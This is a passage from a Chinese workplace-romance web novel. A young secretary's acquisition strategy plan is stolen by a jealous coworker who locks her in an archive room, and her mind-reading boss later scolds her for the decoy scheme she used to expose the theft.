因此,钱喜成对这次收购充满干劲儿,收到傅总消息说虞秘书会加入会议时,他还以为虞秘书是来做会议记录,充当监督作用。
趁此机会,钱喜成细细打量这位被公司公示留在总裁办的年轻秘书。
浓密的长发扎作低马尾,鬓边的碎发被规整拨到耳后,耳垂上什么装饰品都没有,眉目简单干净,除了年轻,似乎没什么特点。
搞不懂傅总为什么会选虞晚当秘书。
当然了,这是傅总的决定,轮不到他质疑,只要不妨碍到他工作就行。
等收购讨论会开始,钱喜成便彻底忘记了虞晚这个小角色,激情昂扬地讲述收购计划。
虞晚听得十分认真。
比起她收集来的资料,收购部的资料更为全面细致。
里面有听彩短视频最近几年的财务报表、税务状况等,基于此,给出了专业的资产价值评估,这对收购价格有着莫大的参考意义,同时,也对收购后的路线规划也有着明确的方法导向,用数字模型直观地展示收购后需要投入多少资金进行改善,收购完成后多久能实现盈利,对收购后公司整体结构和岗位员工均进行了调整。
只能说专业的就是专业的,对比之下,虞晚先前的准备简直像小儿科。
不过,对于收购听彩APP后的规划,虞晚有些疑惑。
她举手提问:“钱总监,我了解到除听彩短视频之外,还有两大短视频APP,分别是嗨视和艺腾。这两款软件常年霸占短视频下载前三,如果只是通过砸钱增加下载量和客户人数,在后续的竞争中恐怕会处于不利地位。”
严格来说,听彩APP是最早出来的一匹短视频黑马。
当年靠着动感音乐和拍摄特效吸引了不少用户,但发展后期对用户定位不准确,用户喜好推送设置落后,以至于被另外两个短视频软件抢先发展,嗨视和艺腾两大对手迅速抓住了年轻群体和中老年下沉群体两个市场,最先开辟短视频带货渠道,赚得盆满钵满。
最近几年,嗨视和艺腾两大短视频APP打得火热,流量推送机制、长视频奖励计划、购物节满减优惠券等各种揽客手段层出不穷,而听彩短视频在两大巨头的对战中夹缝生存,市场占有率急速下降,两次冲击IPO失败,财报上利润率一年比一年难看,迫不得已走到被收购的地步。
砸钱营销固然能挽救听彩,但后续的核心竞争力该如何培养呢。
钱总监正为自己的方案得意,听到有人提出质疑,下意识射去刀子般锐利的目光。
见说话的是虞晚,火气往下压了压,说出口的话带着点轻蔑:“虞秘书先前参与过收购项目?”
虞晚摇头:“没有。”
钱喜成又问:“那虞秘书是对短视频未来发展市场有所涉猎,有独到眼光?虞秘书不如大胆说出来分享分享,我是不介意听你说说的。”
会议室内坐着的其他人作壁上观,但看向虞晚的眼神
里带着明显的不屑和嘲讽。
虞晚垂下眼,抿了抿唇。
这些人不认可她,就算她提出了想法,未必会被采用,更何况她脑子里还没有想法,尽管她留在了总裁办,可说到底没做出什么实绩,论职位和阅历比不过在座各位,被质疑理所应当。
钱喜成见虞晚没说话,端起面前的茶杯喝了一口水,意味深长地说:“虞秘书,你好好做会议记录就是了,这是你的本职工作,可别太贪心,小心捡了芝麻丢了西瓜。”
虞晚敛眸:“钱总监,你说的是,我会做好会议记录的。”
后半段会议,虞晚没再发表看法,专心记录,会议结束,抱着电脑离开。
不甘心归不甘心,虞晚还是分得清轻重缓急,将录音笔和耳机打开,坐在工位上认真整理会议纪要。
整理完,发给钱总监核对,对方迟迟没有回复,直到下班前虞晚才收到钱总监的消息,对方并没有挑刺,只回复了‘可以’两个字。
虞晚耸了下肩,也是,钱总监就算再看不惯她,也不会蠢到和老板作对。
她将会议记录打印出来,敲开老板办公室的门,送给傅知尧过目。
虞晚:“老板,这是有关听彩短视频收购讨论会的会议记录,钱总监那边已经核实过没问题,公司系统上我已经提交了,这是准备放入档案室留存的复印件,请您过目。”
傅知尧接过文件,随意翻开看了几个重点,文件后照例有虞晚整理出来的要点。
这大概是他会让虞晚转正的重要原因,比起文绉绉、满是废话的会议记录,虞晚更懂得如何节省上司的时间。
浏览完,傅知尧合上文件,注意到虞晚不太对劲儿的脸色。
分明开会前还一股志气昂扬的状态,会议后就和被霜打过的茄子一样,眼底的光都没有了。
傅知尧翘起长腿,看了眼桌上虞晚请的转正庆祝下午茶,一块抹茶冰乳酪曲奇,一杯红茶拿铁,曲奇已经被他吃完,只剩小半杯红茶拿铁。
傅知尧拿起来喝了一口,不紧不慢问:“怎么,对这次讨论会不满意?”
傅知尧的口吻比起之前实在温柔,差点让虞晚以为老板在安慰她。
但她要是真这么想就大错特错,她不过是个刚转正没多久的小秘书,还没重要到老板会特意安慰她。
虞晚摇头:“没有。老板,我只是觉得对比起收购部同事收集到的资料,我准备的资料过于片面单一,很多地方都没有思考到位。”
傅知尧不置可否,他看了虞晚写的会议纪要,一眼就抓住了问题所在,看着虞晚一脸萎靡的样子,将手中喝空的咖啡杯放下。
靠回老板椅,姿态暇逸:“虞晚,你的优点是有点小聪明,缺点是见识的东西太少,你该多去听听那些融资路演,看看那些拉投资的人是如何将一个空壳公司包装得好似世界第一,彷佛你不投资就会立马损失一个亿。但我作为商人,不看中包装的漂亮与否,盒子里如果没有东西,我为什么要出这个冤枉钱。”
虞晚开始还没反应过来,脑子下意识抓住关键词,一脸期待地看着傅知尧:“老板,最近有融资路演吗?我也会跟着一起去吗?”
傅知尧:“……”
意识到气氛不对劲,虞晚识趣将话题拉回来,“老板,您继续说。”
傅知尧睨她一眼,拿铁已经喝完,他点了点下巴,示意虞晚给他倒杯茶。
虞晚手脚利索地倒来热茶。
傅知尧喝了一口,仍旧是合适的温度,放下茶杯:“虞秘书,这是收购,不是投资,重点在拿下公司,你脑子里想的东西并非没有用处,只是不符合当前要解决的关键。收购这件事有钱喜成操心,你想写什么就大胆写,总不能给你转正位置了,还天天谨小慎微,写完听彩竞争力的策划案,是好是坏都拿来给我看看,能不能做到?”
虞晚看着傅知尧,微微睁大眼。
她是真的震惊。
老板怎么知道她在想什么?
会议上,虞晚觉得钱总监说得不太对劲就是因为钱总监说得太空泛了,尽管有数据的转化和列举,可这些事情,嗨视和艺腾难道就想不到吗?
听彩收购后,固然能靠砸钱吸引用户下载,但能否留存住客户,主要还是靠软件本身,软件好不好用,推送的短视频客户喜欢不喜欢,这就涉及到用户画像问题。
如何留住用户,就是虞晚想强调的核心竞争力。
但她进办公室到现在分明什么都没说呀,老板是怎么看出来的。
傅知尧挑了一下凌厉的眉,喉咙里发出“嗯”的质问。
虞晚赶忙鞠躬,又恢复小激动时清亮的嗓音:“能做到,谢谢老板指点!”
第29章
为了研究听彩短视频的核心竞争力,虞晚主动留在公司加班,回到宿舍时已经晚上九点多。
毛新灵洗漱完,坐在桌前吃着水果看偶像剧,看到男女主牵手奔跑的情节激动地尖叫。
见虞晚回来,和她打了个招呼。
“虞晚,晚上好啊!我给你桌上放了洗好的葡萄,记得吃掉。”
“晚上好,谢谢你的葡萄。”
虞晚将挎包放下,脑海里仍旧想着和听彩收购有关的东西,电商、带货、广告,除此之外,还能怎么赚钱?
毛新灵见虞晚整个人没精打采,主动向她推荐她正在看的韩剧:“校园剧,超级好看,甜甜的恋爱番,用来放松相当合适,就是太长了,一集快一个多小时,但国产的电视剧吧一集四十分钟里就有二十分钟掺水,广告还特别多,节奏又慢,对比之下,我还是选择看外国电视剧,至少剧情不注水,就是按集数收钱我也愿意……”
虞晚点头听着,忽然从毛新灵说的话中捕捉到一个灵感,眼睛霎时一亮。
“新灵,谢谢你,我好像明白了!等周末我请你吃饭!因为我已经成功转正留在公司了!到时候还要麻烦你帮我挑一个新手机!”
要是继续用卡顿得要死的破手机,虞晚也会觉得没面子的。
“恭喜?”
毛新灵有些懵,刚想多说几句,但看着虞晚奋笔疾书的背影,眨巴两下眼,转过身,继续看甜甜的电视剧。
虞晚埋头写得认真专注,一张空白的草稿纸顷刻被她的想法填满,由于在入职总裁办时对傅氏公司有过深入了解,虞晚稍加回忆就能想起她需要的公司资料,将两者的关联性写在纸上,画上双箭头。
怕自己思考出错,虞晚又翻开资料进行比对。
这个时候就体现她前期搜集资料的好处,虞晚不需要翻看竞争对手公司资料就知道她想到的这个主意,其他两家还没有。
这是什么?
这是先机!
虞晚像是吃了兴奋剂,整个人斗志昂扬,洗澡的时候脑子里还记着策划案,埋头写到半夜两点才依依不舍上床睡觉。
由于策划案并不完整,虞晚第二天上了班仍旧埋头钻研改进。
虞晚转正的消息已于昨天下午公示,今天去各部门送文件的路上,不少同事主动朝她贺喜。
与此同时,虞晚收到赖言栩发来的消息。
赖言栩:【鱼丸鱼丸!好爽好爽,知道你转正后办公室里那些背后吐槽你的人脸色都不好,但我脸色好看了,嘿嘿!】
虞晚回复她:【言栩,谢谢你,中午请你喝奶茶,你想喝什么?】
赖言栩不客气:【杨枝甘露!七分糖!】
虞晚:【没问题。】
回完赖言栩消息,虞晚又给孙柠发消息,询问她想要喝什么奶茶。
昨天中午吃过饭,虞晚拜托孙柠和赖言栩留意赵予书背后的靠山,不管是人事部的主管还是财务部的主管,只要能拿到她走后门的证据,狠狠震慑或者威胁赵予书一番,让赵予书不再想着针对她,当个普通同事
就好。
虞晚的要求实在简单,她和赵予书无冤无仇,也不奢求对方的道歉和解,最好两人什么牵连都没有,然而赵予书似乎不肯给她这个机会。
中午吃过饭,刚回到总裁办没多久,被傅知尧一个电话叫进办公室。
傅知尧递给她一封拆开的信。
虞晚不明所以,抽出里面的纸张,看清内容后,整个人犹如在艳阳天里被泼了一盆冰水,让她控制不住后脊背发寒。
信封里的内容不是别的,是质疑她转正的举报信。
举报信从学历、为人处事、穿戴衣物等全方位抨击她,还牵扯到她大学时发生的一些事情,言之凿凿,就差当着虞晚的面指责她不配当老板秘书。
虞晚捏着举报信的手指气愤到颤抖。
举报信是打印出来的,没有落款,看不出是谁写的,但虞晚心头隐隐有个猜测。
虞晚按捺下心头万般想法,“老板,举报信我看完了,里面的内容……”
虞晚纵使想解释,也显得无力,她学历不高,普通本科,穿着不精致,因为没钱,大学时的确因为拿了奖学金被嫉妒她的人举报,差点被撤销奖学金发放。
这些都是事实,她要如何辩解。
面对性格专断强势的傅知尧,她的想法如何并不重要,傅知尧是怎么想的,会不会因为这封举报信对她心生芥蒂,亦或是相信信里的内容,将她直接开除?
即便内心惶恐不安,心底却有股声音告诉她老板不会这么做,否则她不可能看到这封举报信。
傅知尧放下手中的文件,看向站在办公桌前三步远位置的虞晚:“你是不是觉得我会相信举报信上的内容立刻辞退你,在虞秘书眼里,我就是这样一个没有判断力的人?”
虞秘书轻轻摇头。
他轻嗤一声,“虞晚,这话我只说一遍。”
虞晚脊背下意识挺直。
傅知尧:“转正的通知是我发的,就算这人认为你不好,想拿这些东西贬低你,归根结底是冲我来,质疑我的决定。”
“其次,举报信没有签名,还是用机器打印,你觉得这样的人写出来举报信的可信度是多少?”
“虞秘书,我没有轻信他人的爱好,你既然进了总裁办,当了我的秘书,就应该知道你的顶头上司是谁,该做些什么才是对的。”
“举报信给你看,是想让你明白,你背后到底有谁在虎视眈眈,不要让对方影响你的工作,懂了吗?”
傅知尧知道公司里每个部门都有八卦小群,聊同事间的八卦,聊主管间八卦,聊他的八卦,只要谣言闹得不过分,傅知尧基本不会干涉,这是公司,重点是工作赚钱,不搞一言堂、文字狱,合理范围内聊点八卦有助于员工情绪宣泄。
但如果真的有人在公司对他人实施职场霸凌,人事部也不会坐视不管,主要还是看虞晚能不能收集证据,用聪明合理的方式反击回去。
要是被欺负了就跑来找他哭诉,那虞晚还是趁早收拾收拾回家,他可没有当她监护人的兴趣。
傅知尧的声音并不温柔,漆黑的眉毛往下压低,一如既往的严厉冷漠,说出口的话却是奇异的反差。
意思是,他相信站在他面前的她,而不是相信举报信里的她。
虞晚鼻尖有些发酸。
她抿了抿唇,心里涌动着一股暖流:“……我知道了,谢谢老板。”
回到总裁办,虞晚盯着手中的举报信无意识走神,恰好赵予书在此刻敲门进来。
注意到虞晚手里的举报信,她神色有片刻的异常,很快被她掩饰过去,将手中的文件递给蔡杨:“蔡秘书,这是郑总监让我送来的文件,麻烦您核对一下,没问题我就拿回去让郑总监签字再送过来。”
“好,你先等一会儿。”
赵予书因而站到蔡秘书工位旁。
蔡杨工位离虞晚工位不过几步之遥,赵予书斜着目光,从她的角度,能看到虞晚并没有工作,手里随意把玩着那封举报信。
赵予书忽然听到蔡秘书的声音,他问虞晚:“虞晚,刚才老板叫你进去干什么呢?”
虞晚扭过头,将手里的举报信举起来,坦然大方开口,似乎一点都不怕赵予书听到。
“老板说有人匿名写了我的举报信,让我拿回来看看。”
蔡秘书震惊:“哈?这年头还有人搞匿名举报,我记得公司系统内不是能公开举报吗?”
蔡秘书见虞晚没把这件事放在心上,简单宽慰她几句:“没事,我们老板有自己的判断力,再说了,用匿名的方式说明写举报信的人也很心虚嘛。”
虞晚笑了笑,“嗯,我知道,谢谢蔡秘书。”
“不客气。”
虞晚起身,当着赵予书的面,将那封举报信扔进门口垃圾桶。
转过身,对上赵予书的视线,虞晚勾起唇角轻轻一笑,比落地窗外的日光还要刺眼。
赵予书后槽牙发酸,攥紧手,精致的指甲刺入掌心软肉,尖锐的疼痛感让她逐渐冷静下来,虞晚的工位在蔡秘书斜上方,从她这个角度,刚好能透过虞晚身体的缝隙看到她在做什么。
虞晚打开电脑里的一个文档,屏幕上闪现出几个大字,赵予书定睛,看清上面的标题:
【听彩核心竞争力策划】
她死死盯着电脑屏幕,眼神逐渐阴沉。
听彩收购谈判当天。
虞晚将自己写好的策划案打印出来,打印机噗嗤噗嗤往外吐着纸张,好半天才停下,虞晚拿着策划案坐到工位,忽然接到电话,说董总监让她帮忙去档案室取一份文件。
虞晚犹豫两秒,应下:“好,我马上去。”
看了眼时间,距离会议开始还有二十分钟时间,虞晚方才已经去过会议室,做好了相关准备工作,从档案室拿完文件回来差不多能提前十分钟进入会议室。
她起身,离开办公室。
片刻,总裁办的门被人推开,一道身影静悄悄走进来,拿起了桌上的那一份策划案。
今天海市天气很好,晴空万里,惠风和畅。
白色宝马车平稳驶入瑞金广场,步可思议公司老总汪步仁下车,仰头看着在阳光中高耸的三栋写字楼,同一旁自己的秘书屈英坤道:“看到这三栋楼了吗?都是傅总的,不简单啊他。”
能在父母车祸去世后扛起公司重担,让公司迅速步入正轨发展,汪步仁自问他都做不到,所以才会沦落到卖公司的地步。
屈英坤明白汪步仁在想什么,劝他:“汪总,您就别多想了,我们不是奔着卖公司拿钱来的,如果听彩在被收购后能继续辉煌发展,哪怕被人说我们在傅氏和屿风两头吃价也不要紧。”
汪步仁何尝不知道这个道理,“你说的是,我们走吧,相信傅总一定能给我们一个完美的解答。”
第30章
1001号会议室内。
傅知尧拧紧眉,面无表情地坐在椅子上,距离会议开始还有十分钟,却迟迟不见虞晚的身影。
虽说会议室内的东西均已准备好,没什么需要他操心的,但提前到场和掐点到场含义完全不同,难不成虞晚自以为转正了就能肆意妄为吗?
傅知尧心头烦躁更胜,具体表现在他越皱越深的眉头,让对面的财务部总监年培森和收购部钱喜成看得惴惴不安。
虽然两人都是部门一把手,但面对傅知尧这位冷面魔王,再死寂的心都会慌乱。
策划部的卫羡今天是一个人来的,她特意同老板申请旁观,方便深入了解收购后工作该如何展开。
在会议室内搜寻一圈没看到虞晚,挑了下眉,给虞晚发去消息,只可惜,虞晚迟迟没回。
很快,汪步仁和他的秘书屈英坤在前台孙柠的引导下走进会议室。
卫羡将手机扔进口袋,同其他人一齐站起身。
傅知尧同汪步仁握手,“汪总,劳烦您跑一趟,请坐。”
“傅总客气了,请。”
会
议室门合上,双方依次落座,汪总笑着同收购部的钱喜成寒暄几句。
墙上电子时钟显示会议已经进行了五分钟,虞晚仍旧没到。
傅知尧淡漠地收回视线,开口道:“汪总,既然人员到齐,我们开始吧。”
汪总表情严肃起来,“好,正事要紧。”
一个想收购,一个急于被收购,双方没说那些车轱辘话,直奔主题。
互联网行业近些年发展快、势头猛,是不少巨头公司眼馋的一块肥肉,听彩视频在创立过程中倾注了汪步仁全部的心血和期望,从最开始的招揽人手到扩大规模、细分部门、提拔人才,他一步都没有错过。
可以说,听彩就是他一手带大的孩子。
但如今,行业内排名老大老二的短视频公司高烈度竞争互掐,汪步仁原本以为听彩可以坐收渔翁之利,却没想到它的市场被挤压得愈发狭窄,发展逐渐停滞,财报上数字难看至极,几次引进投资都无济于事,去年亏损将近38亿,对整个公司的人来说都是一个巨大的打击。
现在走到卖孩子的地步,汪步仁这个老父亲自然舍不得。
舍不得归舍不得,如果继续拖下去,在没有注资的情况下,不出两年,步可思议就会破产,听彩也会走向没落,这是汪步仁不愿意看到的。
在傅氏提出收购前,汪步仁其实先一步收到了屿风集团的收购信号,按理说他不该和傅知尧见面。
只是,汪步仁虽然相信陆决风这个副总,却对陆屿森这个总裁不太信任,思来想去,决定做一个恶人。
谁给出的方案好,谁更能激活步可思议的发展,就选择谁。
听完收购部钱喜成钱总监给出的收购方案后,汪步仁沉思两秒,点点头。
“钱总监,我对收购价格无异议,毕竟想要使听彩重新焕发活力不止收购这么点钱,我只想知道,后续傅氏会如何盘活听彩,毕竟听彩的两位对手,嗨视和艺腾背靠大企业,我实在是担心。”
钱总监一副胜券在握的姿态:“这也是我们傅氏的优势,在接手听彩后,我们会依靠收集图鉴抽奖或者新用户注册送钱等诸如此类的手段拉拢用户,只要用户足够多,就能放心大胆铺设线上购物平台,整合购物资源,再依靠粉丝基础盘大的博主和网红宣传,不管是直播、电商还是广告,都是我们的收入来源。我们要做的不过是提升算法推荐技术,为用户推送更精准、更符合他们兴趣偏好的视频内容,紧接着推动软件的全球化布局,带领听彩走向世界。至于汪总您所说的嗨视和艺腾,大家都是竞争对手,核心目的是抢占用户市场,自然是谁的用户活跃度高谁的发展就好,靠优惠券和奖金稳定用户,优化用户体验感,难道还怕比不过另外两家?”
谁料汪步仁听到这话,摇了摇脑袋。
“钱总监,你还是不明白我说的话,听彩去年就是这么做的,结果您也看到了,亏损三十八亿。”
谈判开始已经过去了一个多小时,汪步仁这话一出,在座各位都听出了婉拒合作的意思。
钱喜成一愣,继续辩解:“汪总,您是知道的,我们傅氏资金雄厚不输屿风,可以……”
汪步仁抬手打断了他说的话,直白看向傅知尧。
“傅总,收购价格对我来说并不是最重要的,我想要更切实际的,能让听彩焕发新生的方案,如果傅总这边不能做到,我只能带着遗憾离开傅氏。”
不等傅知尧开口,一道微颤而柔亮的女声忽然冒出来。
赵予书拿着策划案站起身:“汪总,请您给我五分钟的时间,有关听彩短视频后续核心竞争力的培养,我这里有一个方案,不知道能不能满足您的期望。”
傅知尧眉头一动,投去视线。
站起来的是财务部的一位女员工,长相有些眼熟,面对她突如其来的话语,傅知尧不置一词。
倒是汪步仁,眼睛亮了一下,看到赵予书手中的文件,笑着开口:“看来傅总公司里人才辈出,没问题,我给你时间,有什么想说的大胆说。”
“放我出去!”
虞晚抡起手臂握拳在门上重重敲打,再次尝试用钥匙拧门,然而厚重的门依旧纹丝不动。
距离她被关进档案室已经过去了快一个多小时,从最初的不解、愤怒到现在的心酸和无力,虞晚喊到声音沙哑依旧没人听见。
档案室距离行政部有一段距离,加上隔音墙的设置,虞晚明白,没有带手机的她现在只能等待。
她只是不明白,她已经故意将方案放在桌上仍由赵予书拿走,为什么赵予书还要将她锁进档案室,难道阻拦她参加收购会议,她就会得到什么吗?
虞晚原本的计划里,是想将假方案让给赵予书,等赵予书将方案递给老板时就会发现真方案已经被她提交,从时间线上对比,赵予书偷她方案的事情就会坐实,到时候等待赵予书的,只会是被开除。
这里面有个前提条件,那就是赵予书会偷走她的方案。
如果赵予书安安分分,不对她的策划案动心思,虞晚也能同她当个有点小矛盾但普通的同事,如果赵予书偷走她的方案,她会用监控和邮件的时间证词,让赵予书声名狼藉离开公司。
但她万万没想到,赵予书居然会在会议开始前故意将她锁进档案室。
虞晚一直在想为什么。
她的策划方案就这么完美,完美到赵予书不惜将她锁进会议室吗?她的策划案都没来得及给老板过目,万一有错误呢?万一不符合发展需求呢?
更何况,赵予书拿走的策划案里有她虞晚两个字的标识隐藏在里面,还被她删去了重要的一段信息,就算对方趁她被关的时机拿到老板面前抢功劳,也会被质问方案完整性,落不到一个好。
赵予书又是何必。
不过现在不是思考这个的时间,虞晚要出去,她徒劳地敲着档案室的大门,期望有谁能听到声音解救被困的她。
被关的时间越久,虞晚心里越难熬,收购听彩这么重要的会议迟到,老板会怎么看她,她前天才转正,今天就缺席会议,老板昨天才表态相信她,今天就因为不谨慎被锁进档案室。
虞晚眼眶有些红,她咬紧牙继续敲门,“有没有人,我被锁在档案室了!”
不知是不是上天感应到她的求助,虞晚听到门口传来声音,下一秒,咔嚓一声,门被拉开。
虞晚看清门外站着的人,是关总监。
虞晚一时不知该哭还是该笑,她打起精神,嘴唇颤了好几下才将解释说出口:“关……关总监,我被人锁在档案室了,谈判会议结束了吗?我现在去还赶得上吗?我不是有意缺席的。”
关彦轩看着虞晚微红的眼睑,想起手机上收到的,坐在会议室内卫羡发来的消息——
【虞晚缺席了这次会议,她为什么没来?给她发消息也不回。】
【救命,汪总问我们核心竞争力怎么培养,我们完全没思路,会议陷入僵局,我已经预感到傅总会怎么骂我们了。】
【OK,不必着急了,有人站出来了,好像是从行政部转去财务部的实习生,叫……赵予书。】
关彦轩没多说,将档案室门锁重新锁好,拉住虞晚手腕,带她从档案室离开,语气强势地问她:“虞晚,你写了听彩短视频的策划案没?回答我!”
虞晚被关彦轩拉着走,脚步有些踉跄,好半天才跟上他的步伐。
“……我写了,写了两份,一份是被我删掉部分内容,故意让赵予书拿走的,一份是原版,在我电脑里储存着,我还没来得及给老板看。”
虞晚没有隐瞒,虽然对关彦轩并不熟悉,但辨别一个人的好坏不是靠关系熟络与否。
“还记得你写了什么吗?”
“记得。”
关彦轩停住脚步。
两人此刻已经走到1001会
议室转角,只差一步之遥就能进入会议室。
关彦轩松开牵着虞晚的手,看着她,语气严肃:“听好,赵予书已经用了你的方案讲述,但她不知道你删去的内容是什么,如果你不蠢,删去的应该是重点,等她说完,听彩的汪总就会提问这个重点,你要做的是补充。”
“……补、补充?”
虞晚一时没懂他的意思。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
30-40
第31章
关彦轩微垂着眼看虞晚,眼珠漆黑,皮肤冷白,没什么表情,面部线条锋利,显得格外淡漠。
关彦轩说:“虞晚,别傻到当众揭穿赵予书偷窃你策划案的事情,会议室不是法庭,没有法官,不是给你洗刷冤屈、声张正义用的。现在会议室内坐着的,除了傅总和两个部门的同事,还有听彩公司的汪总,内部矛盾不可以闹到外人面前,明白了吗?”
虞晚心头狠狠一颤。
她咬牙,忍住决堤的泪水,低下头用力擦了擦眼睛,再抬头,只余下微红的眼眶,“……我明白。”
关彦轩沉沉看她一眼,让虞晚独自缓神,走到会议室门口。
会议室内,赵予书刚好在此时发言完毕。
汪总赞赏地拍了拍手掌,提出了那个问题:“赵小姐的方案让汪某我觉得眼前一亮,果然是后生可畏,傅总公司果然是卧虎藏龙,不过赵小姐,你的策划案里数据支撑并不多,如果你所说的短剧真的投入拍摄,过程中的产生的成本光靠广告和平台推送怕是没办法实现盈利,这个该如何解决呢?”
赵予书表情一怔。
策划案里写这个了吗?好像没写啊。
虞晚只提到了依赖傅氏旗下多个阅读平台提供的小说剧本,进行多种样式的短剧翻拍,不仅能抢占一波长视频市场,顺应广大网友快节奏的生活,也能因为新奇吸引用户的下载。
除了广告,还能怎么盈利?
赵予书灵光一闪,激动脱口:“和长剧视频一样!开通vip观看就可以了,新用户首次开通单月只需要6.6元这种,毕竟短剧成本和长剧不一样。”
汪总沉凝几秒,微微皱眉,“赵小姐,开通vip,那短剧和长剧的区别又在哪里,大家为什么不选择大平台,反而要选择短视频?”
赵予书被问住,一时不知如何作答。
叩叩叩。
会议室门在此刻被人敲响,关彦轩推开门,带着虞晚走进去。
不等会议室内的人询问,他率先开口解释:“抱歉,傅总、汪总,擅自在这个时间来打扰你们,我刚知道此次收购汪总倾向于了解听彩核心竞争力的培育,实际上,策划案并非一人的功劳,您所了解的问题,虞秘书或许能解答。”
被打断说话,汪总原本有些愠怒,不过他因为合作关系,与关彦轩见过好几次,知晓这位关总监的为人,便按捺下来听他说完。
听到关总监说虞晚也参与了策划案,汪步仁来了兴趣,挑了下眉:“哦,这位难不成就是傅总的秘书?”
他可是在热搜上见过的。
虞晚已经调整好自己的表情,微微弯腰,姿态拿捏得恰到好处:“汪总您好,我是虞晚,虞美人的虞,夜晚的晚,是傅总的秘书。”
傅知尧不动声色将视线扫过虞晚的脸,眼睑有些红,但被浓密漆黑的睫毛一遮,基本看不出来,右手手背有红痕,像是被什么东西撞过,衣着还算整齐,说明没出什么大事情。
傅知尧主动接话:“刚才让她跟着关总监出公司办事了,知道您想了解,特意将人叫回来了。”
虞晚感激地看了眼老板,随即走到会议桌前,开始针对汪总方才的问题进行解答,过程中没有分给赵予书一个眼神。
“汪总,短剧拍摄所需的条件其实需要我们人为去创造、引导,首先依托于傅氏旗下阅读软件,我们能通过热度筛选到合适的、具有爆火潜力的翻拍作品,因为版权在我们手中,不管是自己翻拍或者以合适的价格让其他影视公司来拍,都是可以的,我们听彩提供的其实是一个观影平台的作用,这个时候我们需要考虑的就是您所说的,成本覆盖以及盈利问题。”
虞晚越说越从容,声音流利,叙述清晰,针对汪总困惑的问题,深入浅出地剖析:“和赵予书提到的设置vip收费模式不同,我以为,按照剧集集数进行单集收费的模式,能给客户更自由的选择空间和新奇感,短剧不同于长剧,集数短、节奏快,一集一个爆点和钩子的设置……”
收购部钱喜成听着听着,也反应过来了,看虞晚这自信从容的样子,这份策划案百分百不是财务部那个叫赵予书的实习生写的。
再看将赵予书转来财务部的主管王哲伟,满脸惨白,好似活死人一般。
想到自己先前对虞晚的轻视,钱喜成顿时一个激灵,还好虞秘书当时没和他多计较,万一虞秘当时真的听了他的,什么准备都没做,他这个收购部总监绝对要退位让贤。
钱喜成拿出口袋里的手帕擦着额头上的冷汗,已经想好回去该如何处理这事了。
赵予书没空关注坐在自己旁边的王哲伟是什么状态,她浑身冰冷,脑袋更是一团浆糊,她不知道自己是怎么走回座位的,不知道自己是怎么坐下来的,整个人宛如一具行尸走肉。
看着会议桌对面汪总脸上逐渐浮现的欣赏神色,比起她刚才的发言,汪总显然更满意虞晚说的。
赵予书咬得腮帮子咯吱响,一双眼死死盯着虞晚-
【为什么!为什么!为什么又是虞晚!我不是已经将她锁进档案室了吗?为什么还要跑出来,为什么要在这个时候打断我,为什么要抢走我的高光时刻,贱女人!贱女人!】-
【这一切其实是虞晚计划好的吧,这些内容她压根没在策划案上写,让我偷走的策划案是一份不完整的策划案,为的就是现在,在我窘迫回答不上来问题的时候出现,抢走全部的高光和注意力!还故作大方地说策划案是合作写成的,谁需要这种大方!贱人!贱人!这个贱人怎么还不去死!】
赵予书表面上越是淡定平静,心底的声音就越是恶心刺耳,听得傅知尧太阳穴青筋崩起。
短短几句话,就让傅知尧了解虞晚会议迟到的真相,也明白了一向谨慎,离开办公室会关电脑、锁抽屉的虞晚为何会让赵予书轻易偷走策划案。
那封匿名的举报信不出意外就是这个赵予书写的,虞晚的反击则是赵予书手中那份被删去重要内容的策划案。
虞晚想用一前一后提交的策划案来证明策划案被赵予书剽窃,从而让公司开除她。
愚蠢至极的想法。
傅知尧心头蹿起一股莫名的火,加上赵予书那些令人恶心的心声不停往他耳朵里灌,傅知尧越是克制自己不被影响,心头的怒火烧得越是猛烈。
会议结束,汪总松口,主动与傅氏达成合作,言语间不乏对虞晚的欣赏。
“傅总,虽然你这位虞秘书谦虚说方案不够完美需要改进,但我私以为已经很不错了,才二十二岁就能做到如此地步,难怪傅总会提拔她当你的秘书,在公司事务这一块我不如傅总,看人这方面也逊色。”
傅知尧道:“汪总过谦了,虞秘书还有改进空间,比如没能在谈判一开始就坐在会议室,半途才闯进来,打扰会议进程。”
汪步仁笑着摇摇脑袋,“我居然没看出来傅总也这么护短,放心,我并不介意这个。”
说着,他视线无意识扫过面色苍白的赵予书和面容澹和的虞晚,微微一笑,彷佛早已看透一切。
汪步仁:“傅总今日怕是有得忙,我就先请钱总监和年总监吃饭,趁早将收购合同细节定下来,如何?”
傅总抬了抬下巴,示意钱总监和年总监跟上,“当
然,收购事大,请,关彦轩,去送送汪总。”
关彦轩应下:“好的傅总。”
一行人从会议室离开。
卫羡想拉着虞晚说点什么,但看傅总情绪不对劲,朝虞晚比划了一个手机联系的手势,便拿起文件离开,准备问问知晓内情的关彦轩。
出了会议室,傅知尧大步流星走在前方,全程一言不发,也没有回头看,似乎断定虞晚一定会跟上来。
虞晚亦步亦趋追在傅知尧身后。
虞晚知道傅知尧在生气,仅一个背影都给人风雨欲来的恐怖气息,她忐忑不安地走进办公室。
关好门,虞晚喊了傅知尧一声,声音不似往日,轻得像是从喉咙里挤出来的:“老板。”
傅知尧转过身,将手中的文件砸在一旁茶几上,斥声道:“虞晚,你好大的本事,不仅将赵予书耍得团团转,也将我耍得团团转!”
砰的一声巨响,虞晚吓得身子一颤,下意识低着脑袋,不敢看傅知尧表情,道歉的话脱口而出:“对不起老板。”
“对不起,对不起,又是这一句话,虞秘书,你单细胞的大脑程序里是只设定了说对不起这一句话吗?”
傅知尧气极,将西装脱下来随手扔到沙发上,几步走到办公桌前站定,这样的身高差,虞晚基本只能仰视傅知尧。
虞晚抑制住喉间的哽咽,努力解释:“老板,对不……我不是故意迟到今天的会议,我知道今天的会议很重要,但我被赵予书反锁在档案室,我一直在敲门,可是没人听到,赵予书手里那份不完整的策划案是我设计让她拿走的,我知道我的主意很蠢,我……”
“所以呢,你的脑子听进去我当天说的半句话没有?”
傅知尧打断虞晚的话,黑褐色的眼珠盯着虞晚,下颚线绷得极紧,脸色阴沉骇人,一字一句,说得她心头发怵。
“你以为你是在为自己讨回公道吗?愚蠢至极!你知道赵予书是什么人吗?你知道人家脑子里在想些什么吗?今天是将你关起来让你无法参加会议,那明天呢?让你在全公司大会上出糗?将你从高楼推下去摔个生死不明?虞秘书,不是每次你都有这么好的运气,自以为能抓住对方把柄,实际上什么都做不成!”
虞晚看着傅知尧,有种百口莫辩的无力感,她缓缓垂下眼帘,一句话也说不出口。
